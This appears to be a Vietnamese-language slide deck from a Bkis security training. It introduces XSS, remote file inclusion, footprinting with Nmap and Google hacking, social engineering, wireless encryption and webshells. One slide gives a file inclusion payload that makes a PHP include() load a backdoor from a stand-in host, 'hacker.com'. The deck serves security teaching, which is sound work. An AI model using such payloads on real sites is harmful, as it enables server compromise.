Security Task Force Trainning Nguyễn Ngọc Minh Bkis Security

1. Security Task Force Trainning
Nguyễn Ngọc Minh
Bkis Security

2. Nội dung bài giới thiệu
 Các lỗ hổng XSS & File Inclusion
 Tấn công dựa trên thăm dò và tìm kiếm (Footprinting,
Scanning)
 Tấn công dựa trên điểm yếu con người (Social Engineering)
 Tấn công qua mạng không dây (Wireless Hacking)
 Case Study: Làm việc với các webshell cơ bản.

3. Lỗ hổng XSS

4. Xét một ví dụ thực tế
Session1
Session2
Login
Login
???
Cookie1
Cookie2

5.  Mỗi trình duyệt có thể mở nhiều website

6.  Cơ chế Cross –Domain giúp cho “website” này không lấy
được thông tin của “website” kia

7.  http://bkav.com/timkiem.asp?tukhoa=hello
<br><div class="agent_name">
Kết quả tìm kiếm<br>
<br>Không tìm thấy từ hello<br>
<br></div>
MỌI THÔNG TIN INPUT ĐỀU ĐƯỢC
OUTPUT RA TRÌNH DUYỆT!!!

8.  http://bkav.com/timkiem.asp?tukhoa= hello<br><br></div>
[Một đoạn mã html - Javascript] <div>
<br><div class="agent_name">
Kết quả tìm kiếm<br>
<br>Không tìm thấy từ hello<br><br></div>
[Một đoạn mã html- Javascript]
<div> <br>
<br></div>
Một đoãn Mã JavaScript sẽ được thực thi!!!

9.  http://bkav.com/timkiem.asp?tukhoa= hello<br><br></div>
[Một đoạn mã html - Javascript] <div>
<br><div class="agent_name">
Kết quả tìm kiếm<br>
<br>Không tìm thấy từ hello<br><br></div>
[Một đoạn mã html- Javascript]
<div> <br>
<br></div>
Một đoãn Mã JavaScript sẽ được thực thi!!!

10. Kịch bản tấn công XSS

11. DEMO: Khai thác lỗ hổng XSS

12. Lỗ hổng File Inclusion

13. Cơ chế Include
……..
Include(‘a.txt’)
………
a.Txt
………
..…….
.…......
.……..
……..
…….........
………….
…….........
………….
………

14. Vì sao cần phải có cơ
chế include
Tối giản mã
Phát triển module
……..

15. nokia/product_info.php
sony/product_info.php
include(“$sanpham/product.info”);
http://hacker.com/backdoor.txt%00
include(“http://hacker.com/backdoor.txt%00/product.info”);
include(“http://hacker.com/backdoor.txt”);

16. DEMO: Khai thác lỗ hổng File
Inclusion

17. Tấn công qua các lỗ hổng đã biết

18. * Bản vá
* Mã khai thác được công bố
* Target

19. DEMO: Tấn công khai thác
http://www.faultlyne.com

20. Foot Printing & Scanning

21. Foot Printing &
Scanning???

22. DEMO: Lấy thông tin của
www.bkav.com.vn

23. NMAP

24. Google Hacking

28. Social Engineering

29. • Gọi điện thoại
•Email
• Nhân viên dịch vụ…

30. Wireless Hacking

31. Mã hóa
Chứng thực
WEP
WPA
WPA2

32. Case Study:
Thực hành với các webshell

33. Xin cảm ơn